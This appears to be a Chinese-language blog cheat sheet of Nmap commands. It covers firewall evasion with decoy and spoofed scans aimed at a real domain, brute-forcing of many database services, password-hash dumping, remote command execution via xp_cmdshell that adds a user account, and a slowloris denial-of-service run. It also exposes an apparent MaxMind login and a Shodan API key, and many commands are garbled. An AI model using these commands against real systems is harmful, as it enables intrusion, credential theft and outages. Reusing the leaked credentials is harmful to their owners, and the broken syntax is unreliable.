Nmap

Nmap服务列表

Nmap常用扫描案例

指定网络接口 -e eth0
使用nmap 绕过防火墙
1 碎片扫描

root@kali:~# nmap -f m.anzhi.com

root@kali:~# nmap -mtu 8 m.anzhi.com
2 诱饵扫描

root@kali:~# nmap -D RND:10 m.anzhi.com

root@kali:~# nmap –D decoy1,decoy2,decoy3 m.anzhi.com
3 僵尸扫描
root@kali:~# nmap 192.168.8.0/24 --script=ipidseq   #探测僵尸主机
root@kali:~# nmap -P0 -sI zombie m.anzhi.com
4 随机数据长度

root@kali:~# nmap --data-length 25 m.anzhi.com

root@kali:~# nmap --randomize-hosts 103.17.40.69-100

root@kali:~# nmap -sl 211.211.211.211m.anzhi.com

5 欺骗扫描
root@kali:~# nmap --sT -PN --spoof-mac 0 m.anzhi.com
root@kali:~# nmap --badsum m.anzhi.com

root@kali:~# nmap -g 80 -S www.baidu.com m.anzhi.com

root@kali:~# nmap -p80 --script http-methods --script-args http.useragent=”Mozilla 5”m.anzhi.com

探测CVE漏洞

cd /usr/share/nmap/scripts/
##git clone https://github.com/vulnersCom/nmap-vulners.git
wget https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/vulners.nse
git clone https://github.com/scipag/vulscan.git
cd vulscan/utilities/updater
chmod +x updateFiles.sh | ./updateFiles.sh

nmap --script nmap-vulners,vulscan --script-args vulscandb = scipvuldb.csv -sV <Target>


#banner-plus
$ wget https://raw.githubusercontent.com/hdm/scan-tools/master/nse/banner-plus.nse
# for MacOS
$ cp banner-plus.nse /usr/local/share/nmap/scripts/
# for Linux
$ cp banner-plus.nse /usr/share/nmap/scripts/

使用代理,加脚本

nmap --script "not intrusive" <ip>  --proxy socks4://127.0.0.1:18080 

查找开放端口

 cat file.txt| grep "\d/" | cut  -f1 -d "/"
 ( cat file.txt| grep "\d/" | cut  -f1 -d "/" | tr "
" "," ) >/var/tmp/aa.tx

Nmap

NSE脚本搜索

    bing/baidu/google:
                intext: nsedoc/scripts <script_name> 
    nmap --script-help <script-name>

查看脚本数量

ls /usr/local/Cellar/nmap/7.80_1/share/nmap/scripts | wc -l

更新NSE

    nmap --script-updatedb

代理扫描
nmap -sV -Pn -n --proxies socks4://127.0.0.1:9050 scanme.nmap.org

IP地址定位

ip-geolocation-maxmind

下载Maxmind’GeoLite City
email:nichola.null password:XtTSHkEGkfbB6st

cp GeoLite2-City_20200317.tar.gz  /usr/share/nmap/nselib/data
tar -zxvf GeoLite2-City_20200317.tar.gz
nmap --script ip-geolocation-maxmind <target> [--script-args ip-geolocation.maxmind_db=<filename>]

ipinfodb

获取API

nmap --script ip-geolocation-ipinfodb <target> --script-args ip-geolocation-ipinfodb.apikey=<API_key>

获取Whois记录

nmap --script "whois-*" --script-args whodb=nocache target 

从Shodan获取目标信息

vi /usr/local/Cellar/nmap/7.80_1/share/nmap/scripts/shodan-api.nse
set local apiKey = "7VYpw5QnxgWeww59w7sX7jD6up7Qth9a"
 nmap  -sn -Pn -n --script shodan-api  --script-args 'shodan-api.outfile=potato.csv' x.y.z.0/24

探测WAF

nmap --script "http-waf-*" <target>

探测代理

nmap --script http-open-proxy <target>

目录探测

nmap --script http-enum <target>    目录探测
nmap --script http-userdir-enum <target> 用户名探测    

扫描XSS

nmap -p80 --script http-unsafe-output-escaping,http-xssed,http-phpself-xss <target>

扫描SQL注入

nmap -p80 --script http-sql-injection <target>

DoS攻击

nmap -p80 --script http-slowloris --max-parallelism 400 <target>

shellshock

nmap -sV --script http-shellshock <target>
nmap -sV --script http-shellshock --script-args cmd=ls <target>

git目录

nmap -p80 --script http-git <target>
nmap -p443 --script http-svn-info <target>

SSL

nmap -p443 --script ssl* <target>

扫描HeartBleed漏洞

    nmap  -sV  -p -sV 443  -sV  –script ssl-heartbleed –script-args vulns.showall <target>

扫描SNMP服务

    nmap -sU  -sV  -p -sV 161 --script snmp-brute [--script-args snmp-brute.communitiesdb=<wordlist> ]<target>

扫描DHCP服务

    nmap -sU -sV  -p -sV 67 --script=dhcp-discover 192.168.1.0/24

扫描Daytime服务

    nmap -sV  -p -sV 13 --script=daytime <target>

扫描NTP服务

    nmap -sU -sV  -p -sV 123 --script ntp-info <target>

扫描LLTD服务

    nmap script lltd-discovery --script-args=lltd-discovery.interface=en0,netwtargets=<target>

扫描NetBIOS服务

    nmap -sV  -p -sV 137 -sU --script nbstat <target>

扫描苹果AFP服务

    nmap -sV  -p -sV 548 --script=afp-serverinfo <target> [--script-args=afp.password=password,afp.username=username]

扫描DAAP服务

    nmap -sV  -p -sV 3689 --script=daap-get-library <target> [--script-args daap_item_limit=number]

扫描NFS服务

    nmap -sV  -p -sV 111 --script nfs-ls,nfs-showmount <target>

扫描AJP服务

    nmap -sV  -p -sV 8009 --script ajp-* <target> [--script-args=ajp-auth.path=/login]

2.9.2. 扫描ASP.NET服务

    nmap -sV  -p -sV 80 --script=http-aspnet-debug  [--script-args=http-aspnet-debug.path=path] <target>

扫描HTTP认证服务

    nmap -sV  -p -sV 80 --script http-auth [--script-args=http-auth.path=/login] <host>

扫描SSL服务

    nmap -sV  -p -sV 443 --script ssl-*,sslv2-sV  -p -sV,tls-alpn,tls-nextprotoneg <host>

Memcache数据库

    nmap -sV -p11211 --script memcached-info <host>

扫描DB2数据库

    nmap --script broacast-db2-discover ,db2-das-info <host>

扫描SQL Server服务

     获取mssql信息                        # nmap -p 1433 --script ms-sql-info.nse --script-args mssql.instance-port=1433 -v 192.168.3.0/24
    扫描mssql sa空密码                    # nmap -p 1433 --script ms-sql-empty-password.nse -v 192.168.3.0/24
     sa弱口令爆破                         # nmap -p 1433 --script ms-sql-brute.nse -v 192.168.3.0/24
     利用xp_cmdshell,远程执行系统命令       # nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd=net user test test add 192.168.3.0/24
    导出mssql中所有的数据库用户及密码hash        # nmap -p 1433 --script ms-sql-dump-hashes -v 192.168.3.0/24

扫描Cassandra服务

    nmap -sV  -p -sV 9160 --script cassandra-info <host>

扫描MongoDB相关服务

 尝试爆破mongdb                     # nmap -p 27017  --script mongodb-brute 192.168.3.0/24
验证mongodb未访问授权               # nmap -p27017  —script mongodb-info  192.168.3.0/24

扫描Informix服务

     nmap -p 9088 --script informix-brute.nse 192.168.3.23

扫描CouchDB服务

    nmap -sV  -p -sV 5984 --script "couchdb-*" <host>

扫Redis服务

redis爆破                        # nmap -p 6379 --script redis-brute.nse 192.168.3.0/24
redis未访问授权                   # nmap -p6379 —-script redis-info 192.168.3.0/24

扫描MySQL服务

    mysql-info                       ·# nmap -sV  -p -sV 3306 --script mysql-info <host>
    mysql 扫描root空密码                # nmap -p 3306 --script mysql-empty-password.nse -v <host>
    mysql root弱口令简单爆破             # nmap -p 3306 --script mysql-brute.nse -v <host>
    导出mysql中所有用户的hash            # nmap -p 3306 --script mysql-dump-hashes --script-args='username=root,password=root’ <host> 
    Mysql身份认证漏洞                    # nmap -p 3306 --script mysql-vuln-cve2012-2122.nse  -v <host>

扫描memcached服务

验证Memcached未授权访问漏洞        # nmap -sV -p11211 —script memcached-info 192.168.1.2/24

扫描PostgreSQL服务

尝试爆破postgresql                # nmap -p 5432 --script pgsql-brute -v 192.168.3.0/24

扫描Oracle服务

                   nmap -sV  -p -sV 1521 --script =oracle-tns-version <host>
 尝试爆破oracle     # nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL -v 192.168.3.0/24
                  # nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL  -v 192.168.3.0/24

扫描RDP服务

    nmap -sV  -p -sV 3389 --script rdp-enum-encryption <host>

扫描SSH服务

    nmap   -p 22-sV  --script ssh2-enum-algos <host>

扫描VMware服务

    nmap -sV  -p -sV 443 --script vmware-version <host>

扫描VNC服务

    nmap -sV  -p -sV 5900 --script "vnc-*" <host>

扫描IMAP服务

    nmap -sV  -p -sV 143 --script="imap-*" <host>

扫描POP3服务

    nmap -sV  -p -sV 110,995 --script pop-3-ntlm-info <host>

扫描SMTP服务

    nmap -sV  -p -sV 25 --script smtp-ntlm-info <host>

字典DICT服务

    nmap -sV  -p -sV 2628 --script dict-info <host>

扫描IRC服务

    nmap -sV  -p -sV 6667 --script irc-info <host>

扫描硬盘监测服务

    nmap -sV  -p -sV 7634 --script hddtemp-info <host>

扫描Rsync服务

  rsync未授权访问  nmap -sV  -p -sV —-script rsync-brute —-script-args ‘rsync-brute.module=www’ <target>

扫描Elasticsearch服务

验证Elasticsearch未访问授权    # nmap —-script http-vuln-cve2015-1427 —-script-args command=‘ls’  192.168.3.0/24 

MS12-020

    nmap -sV  -p3389 --script rdp-vuln-ms12-020 <host>

参考

精通Nmap脚本引擎
CVE漏洞检测


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 askding@qq.com

💰

×

Help us with donation